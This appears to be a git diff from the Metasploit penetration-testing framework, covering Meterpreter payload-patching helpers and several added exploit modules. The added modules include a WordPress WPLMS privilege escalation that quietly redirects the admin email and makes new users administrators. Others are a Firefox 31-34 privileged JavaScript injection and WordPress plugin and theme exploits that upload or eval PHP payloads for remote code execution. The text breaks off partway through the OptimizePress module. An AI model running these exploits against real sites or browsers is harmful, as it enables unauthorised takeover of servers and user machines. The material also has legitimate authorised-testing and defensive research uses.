msg = "The .text section for '#{fname}' is too small. " :payload => code,
msg << "Minimum is #{p_length.to_s} bytes, your .text section is " + :template => opts[:template],
"#{text.size.to_s} bytes" :arch => :x86
raise RuntimeError, msg })
return appender.generate_pe
end end
# Store some useful offsets # Store some useful offsets
@ -506,7 +510,8 @@ require 'msf/core/exe/segment_injector'
def self.to_win64pe(framework, code, opts = {}) def self.to_win64pe(framework, code, opts = {})
# Allow the user to specify their own EXE template # Allow the user to specify their own EXE template
set_template_default(opts, "template_x64_windows.exe") set_template_default(opts, "template_x64_windows.exe")
#try to inject code into executable by adding a section without affecting executable behavior
# Try to inject code into executable by adding a section without affecting executable behavior
if opts[:inject] if opts[:inject]
injector = Msf::Exe::SegmentInjector.new({ injector = Msf::Exe::SegmentInjector.new({
:payload => code, :payload => code,
@ -515,8 +520,20 @@ require 'msf/core/exe/segment_injector'
}) })
return injector.generate_pe return injector.generate_pe
end end
opts[:exe_type] = :exe_sub opts[:exe_type] = :exe_sub
exe_sub_method(code,opts) return exe_sub_method(code,opts)
#
# TODO: 64-bit support is currently failing to stage
#
# Append a new section instead
# appender = Msf::Exe::SegmentAppender.new({
# :payload => code,
# :template => opts[:template],
# :arch => :x64
# })
# return appender.generate_pe
end end
# Embeds shellcode within a Windows PE file implementing the Windows # Embeds shellcode within a Windows PE file implementing the Windows

View File

@ -56,6 +56,36 @@ class X509Certificate
parse_pem(data) parse_pem(data)
end end
#
# Parse a certificate in unified PEM format and retrieve
# the SHA1 hash.
#
# @param [String] ssl_cert
# @return [String]
def self.get_cert_hash(ssl_cert)
hcert = parse_pem(ssl_cert)
unless hcert and hcert[0] and hcert[1]
raise ArgumentError, "Could not parse a private key and certificate"
end
Rex::Text.sha1_raw(hcert[1].to_der)
end
#
# Parse a file that contains a certificate in unified PEM
# format and retrieve the SHA1 hash.
#
# @param [String] ssl_cert_file
# @return [String]
def self.get_cert_file_hash(ssl_cert_file)
data = ''
::File.open(ssl_cert_file, 'rb') do |fd|
data << fd.read(fd.stat.size)
end
get_cert_hash(data)
end
end end
end end

View File

@ -11,29 +11,23 @@ module Rex
module Patch module Patch
# Replace the transport string # Replace the transport string
def self.patch_transport! blob, ssl def self.patch_transport!(blob, ssl)
i = blob.index("METERPRETER_TRANSPORT_SSL")
if i
str = ssl ? "METERPRETER_TRANSPORT_HTTPS\x00" : "METERPRETER_TRANSPORT_HTTP\x00" str = ssl ? "METERPRETER_TRANSPORT_HTTPS\x00" : "METERPRETER_TRANSPORT_HTTP\x00"
blob[i, str.length] = str patch_string!(blob, "METERPRETER_TRANSPORT_SSL", str)
end
end end
# Replace the URL # Replace the URL
def self.patch_url! blob, url def self.patch_url!(blob, url)
unless patch_string!(blob, "https://#{'X' * 512}", url)
i = blob.index("https://" + ("X" * 256)) # If the patching failed this could mean that we are somehow
if i # working with outdated binaries, so try to patch with the
str = url # old stuff.
blob[i, str.length] = str patch_string!(blob, "https://#{'X' * 256}", url)
end end
end end
# Replace the session expiration timeout # Replace the session expiration timeout
def self.patch_expiration! blob, expiration def self.patch_expiration!(blob, expiration)
i = blob.index([0xb64be661].pack("V")) i = blob.index([0xb64be661].pack("V"))
if i if i
@ -44,7 +38,7 @@ module Rex
end end
# Replace the session communication timeout # Replace the session communication timeout
def self.patch_comm_timeout! blob, comm_timeout def self.patch_comm_timeout!(blob, comm_timeout)
i = blob.index([0xaf79257f].pack("V")) i = blob.index([0xaf79257f].pack("V"))
if i if i
@ -55,23 +49,14 @@ module Rex
end end
# Replace the user agent string with our option # Replace the user agent string with our option
def self.patch_ua! blob, ua def self.patch_ua!(blob, ua)
patch_string!(blob, "METERPRETER_UA\x00", ua[0,255] + "\x00")
ua = ua[0,255] + "\x00"
i = blob.index("METERPRETER_UA\x00")
if i
blob[i, ua.length] = ua
end
end end
# Activate a custom proxy # Activate a custom proxy
def self.patch_proxy! blob, proxyhost, proxyport, proxy_type def self.patch_proxy!(blob, proxyhost, proxyport, proxy_type)
i = blob.index("METERPRETER_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00") if proxyhost && proxyhost.to_s != ""
if i
if proxyhost
if proxyhost.to_s != ""
proxyhost = proxyhost.to_s proxyhost = proxyhost.to_s
proxyport = proxyport.to_s || "8080" proxyport = proxyport.to_s || "8080"
proxyinfo = proxyhost + ":" + proxyport proxyinfo = proxyhost + ":" + proxyport
@ -84,39 +69,47 @@ module Rex
proxyinfo = 'socks=' + proxyinfo proxyinfo = 'socks=' + proxyinfo
end end
proxyinfo << "\x00" proxyinfo << "\x00"
blob[i, proxyinfo.length] = proxyinfo patch_string!(blob, "METERPRETER_PROXY#{"\x00" * 10}", proxyinfo)
end end
end end
end
end
# Proxy authentification # Proxy authentification
def self.patch_proxy_auth! blob, proxy_username, proxy_password, proxy_type def self.patch_proxy_auth!(blob, proxy_username, proxy_password, proxy_type)
unless (proxy_username.nil? or proxy_username.empty?) or unless (proxy_username.nil? or proxy_username.empty?) or
(proxy_password.nil? or proxy_password.empty?) or (proxy_password.nil? or proxy_password.empty?) or
proxy_type == 'SOCKS' proxy_type == 'SOCKS'
proxy_username_loc = blob.index("METERPRETER_USERNAME_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00") patch_string!(blob, "METERPRETER_USERNAME_PROXY#{"\x00" * 10}",
proxy_username = proxy_username << "\x00" proxy_username + "\x00")
blob[proxy_username_loc, proxy_username.length] = proxy_username
proxy_password_loc = blob.index("METERPRETER_PASSWORD_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00") patch_string!(blob, "METERPRETER_PASSWORD_PROXY#{"\x00" * 10}",
proxy_password = proxy_password << "\x00" proxy_password + "\x00")
blob[proxy_password_loc, proxy_password.length] = proxy_password
end end
end end
# Patch the ssl cert hash
def self.patch_ssl_check!(blob, ssl_cert_hash)
# SSL cert location is an ASCII string, so no need for
# WCHAR support
if ssl_cert_hash
i = blob.index("METERPRETER_SSL_CERT_HASH\x00")
if i
blob[i, ssl_cert_hash.length] = ssl_cert_hash
end
end
end
# Patch options into metsrv for reverse HTTP payloads # Patch options into metsrv for reverse HTTP payloads
def self.patch_passive_service! blob, options def self.patch_passive_service!(blob, options)
patch_transport! blob, options[:ssl] patch_transport!(blob, options[:ssl])
patch_url! blob, options[:url] patch_url!(blob, options[:url])
patch_expiration! blob, options[:expiration] patch_expiration!(blob, options[:expiration])
patch_comm_timeout! blob, options[:comm_timeout] patch_comm_timeout!(blob, options[:comm_timeout])
patch_ua! blob, options[:ua] patch_ua!(blob, options[:ua])
patch_ssl_check!(blob, options[:ssl_cert_hash])
patch_proxy!(blob, patch_proxy!(blob,
options[:proxy_host], options[:proxy_host],
options[:proxy_port], options[:proxy_port],
@ -130,6 +123,36 @@ module Rex
end end
#
# Patch an ASCII value in the given payload. If not found, try WCHAR instead.
#
def self.patch_string!(blob, search, replacement)
result = false
i = blob.index(search)
if i
blob[i, replacement.length] = replacement
result = true
else
i = blob.index(wchar(search))
if i
r = wchar(replacement)
blob[i, r.length] = r
result = true
end
end
result
end
private
#
# Convert the given ASCII string into a WCHAR string (dumb, but works)
#
def self.wchar(str)
str.to_s.unpack("C*").pack("v*")
end
end end
end end
end end

View File

@ -48,7 +48,14 @@ class ClientCore < Extension
request = Packet.create_request('core_enumextcmd') request = Packet.create_request('core_enumextcmd')
request.add_tlv(TLV_TYPE_STRING, extension_name) request.add_tlv(TLV_TYPE_STRING, extension_name)
begin
response = self.client.send_packet_wait_response(request, self.client.response_timeout) response = self.client.send_packet_wait_response(request, self.client.response_timeout)
rescue
# In the case where orphaned shells call back with OLD copies of the meterpreter
# binaries, we end up with a case where this fails. So here we just return the
# empty list of supported commands.
return []
end
# No response? # No response?
if response.nil? if response.nil?

View File

@ -178,7 +178,6 @@ module PacketDispatcher
# Sends a packet and waits for a timeout for the given time interval. # Sends a packet and waits for a timeout for the given time interval.
# #
def send_request(packet, t = self.response_timeout) def send_request(packet, t = self.response_timeout)
if not t if not t
send_packet(packet) send_packet(packet)
return nil return nil

View File

@ -64,7 +64,7 @@ Gem::Specification.new do |spec|
# are needed when there's no database # are needed when there's no database
spec.add_runtime_dependency 'metasploit-model', '~> 0.29.0' spec.add_runtime_dependency 'metasploit-model', '~> 0.29.0'
# Needed for Meterpreter on Windows, soon others. # Needed for Meterpreter on Windows, soon others.
spec.add_runtime_dependency 'meterpreter_bins', '0.0.16' spec.add_runtime_dependency 'meterpreter_bins', '0.0.17'
# Needed by msfgui and other rpc components # Needed by msfgui and other rpc components
spec.add_runtime_dependency 'msgpack' spec.add_runtime_dependency 'msgpack'
# Needed by anemone crawler # Needed by anemone crawler

View File

@ -29,6 +29,7 @@ class Metasploit3 < Msf::Auxiliary
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'References' => 'References' =>
[ [
['CVE', '2015-2673'],
['WPVDB', '7808'], ['WPVDB', '7808'],
['URL', 'http://blog.rastating.com/wp-easycart-privilege-escalation-information-disclosure'] ['URL', 'http://blog.rastating.com/wp-easycart-privilege-escalation-information-disclosure']
], ],

View File

@ -0,0 +1,124 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::HTTP::Wordpress
def initialize(info = {})
super(update_info(
info,
'Name' => 'WordPress WPLMS Theme Privilege Escalation',
'Description' => %q{
The WordPress WPLMS theme from version 1.5.2 to 1.8.4.1 allows authenticated users of
any user level to set any system option via a lack of validation in the import_data function
of /includes/func.php.
The module first changes the admin e-mail address to prevent any
notifications being sent to the actual administrator during the attack, re-enables user
registration in case it has been disabled and sets the default role to be administrator.
This will allow for the user to create a new account with admin privileges via the default
registration page found at /wp-login.php?action=register.
},
'Author' =>
[
'Evex', # Vulnerability discovery
'Rob Carr <rob[at]rastating.com>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['WPVDB', '7785']
],
'DisclosureDate' => 'Feb 09 2015'
))
register_options(
[
OptString.new('USERNAME', [true, 'The WordPress username to authenticate with']),
OptString.new('PASSWORD', [true, 'The WordPress password to authenticate with'])
], self.class)
end
def check
check_theme_version_from_readme('wplms', '1.8.4.2', '1.5.2')
end
def username
datastore['USERNAME']
end
def password
datastore['PASSWORD']
end
def php_serialize(value)
# Only strings and numbers are required by this module
case value
when String, Symbol
"s:#{value.bytesize}:\"#{value}\";"
when Fixnum
"i:#{value};"
end
end
def serialize_and_encode(value)
serialized_value = php_serialize(value)
unless serialized_value.nil?
Rex::Text.encode_base64(serialized_value)
end
end
def set_wp_option(name, value, cookie)
encoded_value = serialize_and_encode(value)
if encoded_value.nil?
vprint_error("#{peer} - Failed to serialize #{value}.")
else
res = send_request_cgi(
'method' => 'POST',
'uri' => wordpress_url_admin_ajax,
'vars_get' => { 'action' => 'import_data' },
'vars_post' => { 'name' => name, 'code' => encoded_value },
'cookie' => cookie
)
if res.nil?
vprint_error("#{peer} - No response from the target.")
else
vprint_warning("#{peer} - Server responded with status code #{res.code}") if res.code != 200
end
return res
end
end
def run
print_status("#{peer} - Authenticating with WordPress using #{username}:#{password}...")
cookie = wordpress_login(username, password)
fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil?
print_good("#{peer} - Authenticated with WordPress")
new_email = "#{Rex::Text.rand_text_alpha(5)}@#{Rex::Text.rand_text_alpha(5)}.com"
print_status("#{peer} - Changing admin e-mail address to #{new_email}...")
if set_wp_option('admin_email', new_email, cookie).nil?
fail_with(Failure::UnexpectedReply, 'Failed to change the admin e-mail address')
end
print_status("#{peer} - Enabling user registrations...")
if set_wp_option('users_can_register', 1, cookie).nil?
fail_with(Failure::UnexpectedReply, 'Failed to enable user registrations')
end
print_status("#{peer} - Setting the default user role...")
if set_wp_option('default_role', 'administrator', cookie).nil?
fail_with(Failure::UnexpectedReply, 'Failed to set the default user role')
end
register_url = normalize_uri(target_uri.path, 'wp-login.php?action=register')
print_good("#{peer} - Privilege escalation complete")
print_good("#{peer} - Create a new account at #{register_url} to gain admin access.")
end
end

View File

@ -18,7 +18,7 @@ class Metasploit3 < Msf::Auxiliary
super(update_info(info, super(update_info(info,
'Name' => 'Symantec Web Gateway Login Utility', 'Name' => 'Symantec Web Gateway Login Utility',
'Description' => %q{ 'Description' => %q{
This module will attempt to authenticate to a Symantec Web Gateway This module will attempt to authenticate to a Symantec Web Gateway.
}, },
'Author' => [ 'sinn3r' ], 'Author' => [ 'sinn3r' ],
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,

View File

@ -28,7 +28,7 @@ class Metasploit3 < Msf::Auxiliary
super(update_info(info, super(update_info(info,
'Name' => 'Samba _netr_ServerPasswordSet Uninitialized Credential State', 'Name' => 'Samba _netr_ServerPasswordSet Uninitialized Credential State',
'Description' => %q{ 'Description' => %q{
This module checks if your Samba target is vulnerable to an uninitialized variable creds. This module checks if a Samba target is vulnerable to an uninitialized variable creds vulnerability.
}, },
'Author' => 'Author' =>
[ [

View File

@ -19,7 +19,7 @@ class Metasploit3 < Msf::Exploit::Remote
Wireless Dual-Band N+ Router N750 routers. The vulnerability exists in the handling Wireless Dual-Band N+ Router N750 routers. The vulnerability exists in the handling
of HTTP queries with long 'jump' parameters addressed to the /login.cgi URL, allowing of HTTP queries with long 'jump' parameters addressed to the /login.cgi URL, allowing
remote unauthenticated attackers to execute arbitrary code. This module was tested in remote unauthenticated attackers to execute arbitrary code. This module was tested in
an emulated environment, using the version 1.10.16.m of the firmwarey. an emulated environment, using the version 1.10.16.m of the firmware.
}, },
'Author' => 'Author' =>
[ [

View File

@ -13,14 +13,11 @@ class Metasploit4 < Msf::Exploit::Remote
def initialize(info = {}) def initialize(info = {})
super(update_info(info, super(update_info(info,
'Name' => 'Exim GHOST (glibc gethostbyname) Buffer Overflow', 'Name' => 'Exim GHOST (glibc gethostbyname) Buffer Overflow',
'Description' => %q( 'Description' => %q{
This module remotely exploits CVE-2015-0235 (a.k.a. GHOST, a heap-based This module remotely exploits CVE-2015-0235, aka GHOST, a heap-based
buffer overflow in the GNU C Library's gethostbyname functions) on x86 buffer overflow in the GNU C Library's gethostbyname functions on x86
and x86_64 GNU/Linux systems that run the Exim mail server. and x86_64 GNU/Linux systems that run the Exim mail server.
},
For additional information, please refer to the module's References
section.
),
'Author' => ['Qualys, Inc. <qsa[at]qualys.com>'], 'Author' => ['Qualys, Inc. <qsa[at]qualys.com>'],
'License' => BSD_LICENSE, 'License' => BSD_LICENSE,
'References' => [ 'References' => [

View File

@ -0,0 +1,115 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex/exploitation/jsobfu'
class Metasploit3 < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::BrowserExploitServer
include Msf::Exploit::Remote::BrowserAutopwn
include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
def initialize(info = {})
super(update_info(info,
'Name' => 'Firefox Proxy Prototype Privileged Javascript Injection',
'Description' => %q{
This exploit gains remote code execution on Firefox 31-34 by abusing a bug in the XPConnect
component and gaining a reference to the privileged chrome:// window. This exploit
requires the user to click anywhere on the page to trigger the vulnerability.
},
'License' => MSF_LICENSE,
'Author' => [
'joev' # discovery and metasploit module
],
'DisclosureDate' => "Jan 20 2014",
'References' => [
['CVE', '2014-8636'],
['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=1120261'],
['URL', 'https://community.rapid7.com/community/metasploit/blog/2015/03/23/r7-2015-04-disclosure-mozilla-firefox-proxy-prototype-rce-cve-2014-8636' ]
],
'Targets' => [
[
'Universal (Javascript XPCOM Shell)', {
'Platform' => 'firefox',
'Arch' => ARCH_FIREFOX
}
],
[
'Native Payload', {
'Platform' => %w{ java linux osx solaris win },
'Arch' => ARCH_ALL
}
]
],
'DefaultTarget' => 0,
'BrowserRequirements' => {
:source => 'script',
:ua_name => HttpClients::FF,
:ua_ver => lambda { |ver| ver.to_i.between?(31, 34) }
}
))
register_options([
OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>." ])
], self.class)
end
def on_request_exploit(cli, request, target_info)
send_response_html(cli, generate_html(target_info))
end
def default_html
"The page has moved. <span style='text-decoration:underline;'>Click here</span> to be redirected."
end
def generate_html(target_info)
key = Rex::Text.rand_text_alpha(5 + rand(12))
frame = Rex::Text.rand_text_alpha(5 + rand(12))
r = Rex::Text.rand_text_alpha(5 + rand(12))
opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin
js = js_obfuscate %Q|
var opts = #{JSON.unparse(opts)};
var key = opts['#{key}'];
var props = {};
props.has = function(n){
if (!window.top.x && n=='nodeType') {
window.top.x=window.open("chrome://browser/content/browser.xul", "x",
"chrome,,top=-9999px,left=-9999px,height=100px,width=100px");
if (window.top.x) {
Object.setPrototypeOf(document, pro);
setTimeout(function(){
x.location='data:text/html,<iframe mozbrowser src="about:blank"></iframe>';
setTimeout(function(){
x.messageManager.loadFrameScript('data:,'+key, false);
setTimeout(function(){
x.close();
}, 100)
}, 100)
}, 100);
}
}
}
var pro = Object.getPrototypeOf(document);
Object.setPrototypeOf(document, Proxy.create(props));
|
%Q|
<!doctype html>
<html>
<body>
<script>
#{js}
</script>
#{datastore['CONTENT'] || default_html}
</body>
</html>
|
end
end

View File

@ -119,7 +119,7 @@ class Metasploit3 < Msf::Exploit::Remote
send_header send_header
ack = recv_protocol_ack ack = recv_protocol_ack
if ack.nil? if ack.nil?
fail_with(Failure::NoTarget, "#{peer} - Filed to negotiate RMI protocol") fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol")
end end
jar = rand_text_alpha(rand(8)+1) + '.jar' jar = rand_text_alpha(rand(8)+1) + '.jar'

View File

@ -16,7 +16,7 @@ class Metasploit3 < Msf::Exploit::Remote
'Description' => %q{ 'Description' => %q{
TWiki 4.0.x-6.0.0 contains a vulnerability in the Debug functionality. TWiki 4.0.x-6.0.0 contains a vulnerability in the Debug functionality.
The value of the debugenableplugins parameter is used without proper sanitization The value of the debugenableplugins parameter is used without proper sanitization
in an Perl eval statement which allows remote code execution in an Perl eval statement which allows remote code execution.
}, },
'Author' => 'Author' =>
[ [

View File

@ -10,6 +10,9 @@ class Metasploit3 < Msf::Exploit::Remote
include Msf::HTTP::Wordpress include Msf::HTTP::Wordpress
include Msf::Exploit::FileDropper include Msf::Exploit::FileDropper
include Msf::Module::Deprecated
deprecated(Date.new(2015, 5, 23), 'exploit/unix/webapp/wp_foxypress_upload')
def initialize(info = {}) def initialize(info = {})
super(update_info( super(update_info(

View File

@ -10,6 +10,9 @@ class Metasploit3 < Msf::Exploit::Remote
include Msf::HTTP::Wordpress include Msf::HTTP::Wordpress
include Msf::Exploit::FileDropper include Msf::Exploit::FileDropper
include Msf::Module::Deprecated
deprecated(Date.new(2015, 5, 23), 'exploit/unix/webapp/wp_infusionsoft_upload')
def initialize(info = {}) def initialize(info = {})
super(update_info(info, super(update_info(info,

View File

@ -10,6 +10,9 @@ class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpClient
include Msf::Module::Deprecated
deprecated(Date.new(2015, 5, 23), 'exploit/unix/webapp/wp_lastpost_exec')
def initialize(info = {}) def initialize(info = {})
super(update_info(info, super(update_info(info,

View File

@ -11,6 +11,9 @@ class Metasploit3 < Msf::Exploit::Remote
include Msf::HTTP::Wordpress include Msf::HTTP::Wordpress
include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper include Msf::Exploit::FileDropper
include Msf::Module::Deprecated
deprecated(Date.new(2015, 5, 23), 'exploit/unix/webapp/wp_optimizepress_upload')
def initialize(info = {}) def initialize(info = {})
super(update_info(info, super(update_info(info,

View File

@ -6,6 +6,9 @@
class Metasploit3 < Msf::Exploit::Remote class Metasploit3 < Msf::Exploit::Remote
include Msf::HTTP::Wordpress include Msf::HTTP::Wordpress
include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpClient
include Msf::Module::Deprecated
deprecated(Date.new(2015, 5, 23), 'exploit/unix/webapp/wp_total_cache_exec')
Rank = ExcellentRanking Rank = ExcellentRanking

View File

@ -0,0 +1,85 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::HTTP::Wordpress
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(
info,
'Name' => 'WordPress Plugin Foxypress uploadify.php Arbitrary Code Execution',
'Description' => %q(
This module exploits an arbitrary PHP code execution flaw in the WordPress
blogging software plugin known as Foxypress. The vulnerability allows for arbitrary
file upload and remote code execution via the uploadify.php script. The Foxypress
plugin versions 0.4.1.1 to 0.4.2.1 are vulnerable.
),
'Author' =>
[
'Sammy FORGIT', # Vulnerability Discovery, PoC
'patrick' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['EDB', '18991'],
['OSVDB' '82652'],
['BID', '53805'],
['WPVDB', '6231']
],
'Privileged' => false,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['Foxypress 0.4.1.1 - 0.4.2.1', {}]],
'DisclosureDate' => 'Jun 05 2012',
'DefaultTarget' => 0))
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(wordpress_url_plugins, 'foxypress', 'uploadify', 'uploadify.php')
)
return Exploit::CheckCode::Detected if res && res.code == 200
Exploit::CheckCode::Safe
end
def exploit
post_data = Rex::MIME::Message.new
post_data.add_part("<?php #{payload.encoded} ?>", 'application/octet-stream', nil, "form-data; name=\"Filedata\"; filename=\"#{rand_text_alphanumeric(6)}.php\"")
print_status("#{peer} - Sending PHP payload")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(wordpress_url_plugins, 'foxypress', 'uploadify', 'uploadify.php'),
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => post_data.to_s
)
if res.nil? || res.code != 200 || res.body !~ /\{\"raw_file_name\"\:\"(\w+)\"\,/
print_error("#{peer} - File wasn't uploaded, aborting!")
return
end
filename = "#{Regexp.last_match[1]}.php"
print_good("#{peer} - Our payload is at: #{filename}. Calling payload...")
register_files_for_cleanup(filename)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(wordpress_url_wp_content, 'affiliate_images', filename)
)
print_error("#{peer} - Server returned #{res.code}") if res && res.code != 200
end
end

View File

@ -0,0 +1,82 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::HTTP::Wordpress
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Wordpress InfusionSoft Upload Vulnerability',
'Description' => %q{
This module exploits an arbitrary PHP code upload in the WordPress Infusionsoft Gravity
Forms plugin, versions from 1.5.3 to 1.5.10. The vulnerability allows for arbitrary file
upload and remote code execution.
},
'Author' =>
[
'g0blin', # Vulnerability Discovery
'us3r777 <us3r777@n0b0.so>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2014-6446'],
['URL', 'http://research.g0blin.co.uk/cve-2014-6446/'],
['WPVDB', '7634']
],
'Privileged' => false,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['Infusionsoft 1.5.3 - 1.5.10', {}]],
'DisclosureDate' => 'Sep 25 2014',
'DefaultTarget' => 0)
)
end
def check
res = send_request_cgi(
'uri' => normalize_uri(wordpress_url_plugins, 'infusionsoft', 'Infusionsoft', 'utilities', 'code_generator.php')
)
if res && res.code == 200 && res.body =~ /Code Generator/ && res.body =~ /Infusionsoft/
return Exploit::CheckCode::Detected
end
Exploit::CheckCode::Safe
end
def exploit
php_pagename = rand_text_alpha(8 + rand(8)) + '.php'
res = send_request_cgi({
'uri' => normalize_uri(wordpress_url_plugins, 'infusionsoft',
'Infusionsoft', 'utilities', 'code_generator.php'),
'method' => 'POST',
'vars_post' =>
{
'fileNamePattern' => php_pagename,
'fileTemplate' => payload.encoded
}
})
if res && res.code == 200 && res.body && res.body.to_s =~ /Creating File/
print_good("#{peer} - Our payload is at: #{php_pagename}. Calling payload...")
register_files_for_cleanup(php_pagename)
else
fail_with("#{peer} - Unable to deploy payload, server returned #{res.code}")
end
print_status("#{peer} - Calling payload ...")
send_request_cgi({
'uri' => normalize_uri(wordpress_url_plugins, 'infusionsoft',
'Infusionsoft', 'utilities', php_pagename)
}, 2)
end
end

View File

@ -0,0 +1,79 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress cache_lastpostdate Arbitrary Code Execution',
'Description' => %q{
This module exploits an arbitrary PHP code execution flaw in the WordPress
blogging software. This vulnerability is only present when the PHP 'register_globals'
option is enabled (common for hosting providers). All versions of WordPress prior to
1.5.1.3 are affected.
},
'Author' => [ 'str0ke <str0ke[at]milw0rm.com>', 'hdm' ],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2005-2612'],
['OSVDB', '18672'],
['BID', '14533'],
['WPVDB', '6034']
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Compat' =>
{
'ConnectionType' => 'find'
},
'Space' => 512
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Aug 9 2005',
'DefaultTarget' => 0))
register_options(
[
OptString.new('URI', [true, "The full URI path to WordPress", "/"]),
], self.class)
end
def exploit
enc = payload.encoded.unpack('C*').map { |c| "chr(#{c})"}.join('.') + ".chr(32)"
str = Rex::Text.encode_base64('args[0]=eval(base64_decode('+enc+')).die()&args[1]=x')
data =
"wp_filter[query_vars][0][0][function]=get_lastpostdate;wp_filter[query_vars][0][0][accepted_args]=0;"+
"wp_filter[query_vars][0][1][function]=base64_decode;wp_filter[query_vars][0][1][accepted_args]=1;"+
"cache_lastpostmodified[server]=//e;cache_lastpostdate[server]="+str+
";wp_filter[query_vars][1][0][function]=parse_str;wp_filter[query_vars][1][0][accepted_args]=1;"+
"wp_filter[query_vars][2][0][function]=get_lastpostmodified;wp_filter[query_vars][2][0][accepted_args]=0;"+
"wp_filter[query_vars][3][0][function]=preg_replace;wp_filter[query_vars][3][0][accepted_args]=3;"
# Trigger the command execution bug
res = send_request_cgi({
'uri' => normalize_uri(datastore['URI']),
'cookie' => data
}, 25)
if (res)
print_status("The server returned: #{res.code} #{res.message}")
else
print_status("No response from the server")
end
end
end

View File

@ -0,0 +1,147 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'uri'
class Metasploit3 < Msf::Exploit::Remote
include Msf::HTTP::Wordpress
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress OptimizePress Theme File Upload Vulnerability',
'Description' => %q{
This module exploits a vulnerability found in the the WordPress theme OptimizePress. The
vulnerability is due to an insecure file upload on the media-upload.php component, allowing
an attacker to upload arbitrary PHP code. This module has been tested successfully on
OptimizePress 1.45.
},
'Author' =>
[
'United of Muslim Cyber Army', # Vulnerability discovery
'Mekanismen' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', "http://www.osirt.com/2013/11/wordpress-optimizepress-hack-file-upload-vulnerability/" ],
[ 'WPVDB', '7441' ]
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [ ['OptimizePress', {}] ],
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 29 2013'
))
register_advanced_options(
[
OptString.new('THEMEDIR', [ true, 'OptimizePress Theme directory', 'OptimizePress'])
])
end
def check
uri = target_uri.path
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'wp-content', 'themes', datastore['THEMEDIR'], 'lib', 'admin', 'media-upload.php')
})
if res and res.code == 200 and res.body.to_s =~ /Upload New Image/
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
end
def exploit
uri = normalize_uri(target_uri.path)
#get upload filepath
print_status("#{peer} - Getting the upload path...")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'wp-content', 'themes', datastore['THEMEDIR'], 'lib', 'admin', 'media-upload.php')
})
unless res and res.code == 200
fail_with(Failure::Unknown, "#{peer} - Unable to access vulnerable URL")
end
if res.body =~ /<input name="imgpath" type="hidden" id="imgpath" value="(.*)" \/>/
file_path = $1
else
fail_with(Failure::Unknown, "#{peer} - Unable to get upload filepath")
end
#set cookie
cookie = res.get_cookies
filename = rand_text_alphanumeric(8) + ".php"
#upload payload
post_data = Rex::MIME::Message.new
post_data.add_part("<?php #{payload.encoded} ?>", "application/octet-stream", nil, "form-data; name=\"newcsimg\"; filename=\"#{filename}\"")
post_data.add_part("Upload File", nil, nil, "form-data; name=\"button\"")
post_data.add_part("1", nil, nil, "form-data; name=\"newcsimg\"")
post_data.add_part("#{file_path}", nil, nil, "form-data; name=\"imgpath\"")
print_status("#{peer} - Uploading PHP payload...")
n_data = post_data.to_s
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'wp-content', 'themes', datastore['THEMEDIR'], 'lib', 'admin', 'media-upload.php'),
